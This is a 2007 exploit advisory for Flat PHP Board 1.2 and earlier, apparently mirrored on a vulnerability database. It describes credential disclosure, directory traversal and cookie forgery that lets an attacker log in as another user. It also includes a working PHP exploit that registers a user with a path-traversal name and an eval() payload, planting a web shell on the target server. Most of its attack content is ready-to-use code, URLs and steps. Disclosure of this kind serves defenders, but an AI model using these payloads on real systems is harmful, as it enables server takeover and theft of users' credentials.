Flat PHP Board <= 1.2 Multiple Vulnerabilities

🗓️ 10 Dec 2007 00:00:00Reported by RootType
Flat PHP Board <= 1.2 Multiple Vulnerabilities, Remote User Credentials Disclosure, Multiple Remote Command Executions / File Uploadin

                                                ---------------------------------------------------------------
&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------------------------------------

Http://www.inj3ct-it.org&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Staff[at]inj3ct-it[dot]org&nbsp;

---------------------------------------------------------------

Flat&nbsp;PHP&nbsp;Board&nbsp;&lt;=&nbsp;1.2&nbsp;Multiple&nbsp;Vulnerabilities

---------------------------------------------------------------

#By&nbsp;KiNgOfThEwOrLd				

---------------------------------------------------------------
Remote&nbsp;User&nbsp;Credentials&nbsp;Disclosure

PoC:

No&nbsp;much&nbsp;to&nbsp;say...an&nbsp;attacker&nbsp;can&nbsp;get&nbsp;his&nbsp;target's&nbsp;informations&nbsp;visiting&nbsp;http://
[target]/[flat_php_board_path]/users/[target_username].php

The&nbsp;informations&nbsp;will&nbsp;be&nbsp;showed&nbsp;in&nbsp;this&nbsp;way:

[username]&nbsp;[password]&nbsp;[email]
---------------------------------------------------------------
Multiple&nbsp;Remote&nbsp;Command&nbsp;Executions&nbsp;/&nbsp;File&nbsp;Uploading

PoC:

When&nbsp;we&nbsp;register&nbsp;a&nbsp;new&nbsp;account,&nbsp;flat&nbsp;php&nbsp;board&nbsp;make&nbsp;a&nbsp;file&nbsp;like&nbsp;/users/
[username].php
All&nbsp;the&nbsp;fields&nbsp;(Username,&nbsp;Password,&nbsp;Email)&nbsp;are&nbsp;not&nbsp;correctly&nbsp;filtred.&nbsp;Then,&nbsp;an&nbsp;
attacker&nbsp;can&nbsp;executes&nbsp;a&nbsp;malicious&nbsp;code&nbsp;on&nbsp;the&nbsp;vulnerable&nbsp;server.

Exploit:

&lt;?
//Usage:&nbsp;31337.php?targ=http://[target]/[flat_php_board_path]
$targ&nbsp;=&nbsp;$_GET['targ'];
echo&nbsp;'
&lt;form&nbsp;action=index.php&nbsp;method=post&gt;
&lt;input&nbsp;type=hidden&nbsp;name=&quot;username&quot;&nbsp;value=&quot;../31337&quot;&gt;
&lt;input&nbsp;type=hidden&nbsp;name=a&nbsp;value=register2&gt;
&lt;input&nbsp;name=&quot;password&quot;&nbsp;type=hidden&nbsp;value=&quot;r0x&quot;&gt;
&lt;input&nbsp;name=&quot;password2&quot;&nbsp;type=hidden&nbsp;value=&quot;r0x&quot;&gt;
&lt;input&nbsp;name=&quot;email&quot;&nbsp;value=&quot;&lt;?eval(html_entity_decode(stripslashes($_GET
[r0x])));?&gt;&quot;&gt;
&lt;input&nbsp;type=submit&nbsp;value=&quot;Exploit!&quot;&gt;
&lt;/form&gt;';
/*
This&nbsp;will&nbsp;make&nbsp;a&nbsp;shell&nbsp;in&nbsp;http://[target]/[flat_php_board_path]/31337.php
Usage:&nbsp;http://[target]/[flat_php_board_path]/31337.php?r0x=[php_code]
*/
?&gt;

Nb.&nbsp;also&nbsp;all&nbsp;the&nbsp;fields&nbsp;of&nbsp;index.php?a=profile&nbsp;is&nbsp;not&nbsp;correctly&nbsp;parsed.
---------------------------------------------------------------
Remote&nbsp;Directory&nbsp;Traversal&nbsp;/&nbsp;Source&nbsp;Disclosure

http://[target]/[flat_php_board_path]index.php?a=topic&amp;topic=../[arbitrary&nbsp;php&nbsp;
file]

http://[target]/[flat_php_board_path]index.php?a=viewprofile&amp;username=../
[arbitrary&nbsp;php&nbsp;file]
---------------------------------------------------------------
Remote&nbsp;Cookie&nbsp;Manipoulation&nbsp;/&nbsp;Privilege&nbsp;Escalation

PoC:

An&nbsp;attacker&nbsp;can&nbsp;login&nbsp;with&nbsp;an&nbsp;arbitrary&nbsp;account&nbsp;editing&nbsp;the&nbsp;fpb_username&nbsp;
cookie.

In&nbsp;fact,&nbsp;if&nbsp;you&nbsp;try&nbsp;to&nbsp;replace&nbsp;your&nbsp;username&nbsp;with&nbsp;your&nbsp;target&nbsp;username&nbsp;and&nbsp;
refresh,&nbsp;you&nbsp;will&nbsp;be&nbsp;logged&nbsp;in&nbsp;like&nbsp;him.&nbsp;But&nbsp;now,&nbsp;if&nbsp;you&nbsp;try&nbsp;to&nbsp;edit&nbsp;your&nbsp;
profile&nbsp;or&nbsp;something&nbsp;like&nbsp;that,&nbsp;you&nbsp;will&nbsp;generate&nbsp;an&nbsp;error&nbsp;like:

Error&nbsp;with&nbsp;cookies.&nbsp;password/username&nbsp;not&nbsp;correct.

Don't&nbsp;worry,&nbsp;if&nbsp;you&nbsp;go&nbsp;to&nbsp;index.php?a=profile&nbsp;you&nbsp;will&nbsp;find&nbsp;your&nbsp;victim&nbsp;
credentials.&nbsp;Then,&nbsp;viewing&nbsp;the&nbsp;source&nbsp;code&nbsp;you&nbsp;can&nbsp;view&nbsp;your&nbsp;victim&nbsp;password&nbsp;
as:

&lt;td&nbsp;bgcolor=#f9f9f9&gt;&lt;font&nbsp;face=&quot;verdana&quot;&nbsp;size=2&gt;Password:&lt;/font&gt;&lt;/td&gt;
&lt;td&nbsp;bgcolor=#f9f9f9&gt;&lt;input&nbsp;name=&quot;password&quot;&nbsp;type=password&nbsp;value=&quot;[password]&quot;
&gt;&nbsp;&gt;&lt;/td&gt;
---------------------------------------------------------------	
Ok,&nbsp;i&nbsp;think&nbsp;that's&nbsp;all&nbsp;:S
---------------------------------------------------------------
10 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
Flat PHP Board &lt;= 1.2 Multiple Vulnerabilities

Flat PHP Board <= 1.2 Multiple Vulnerabilities
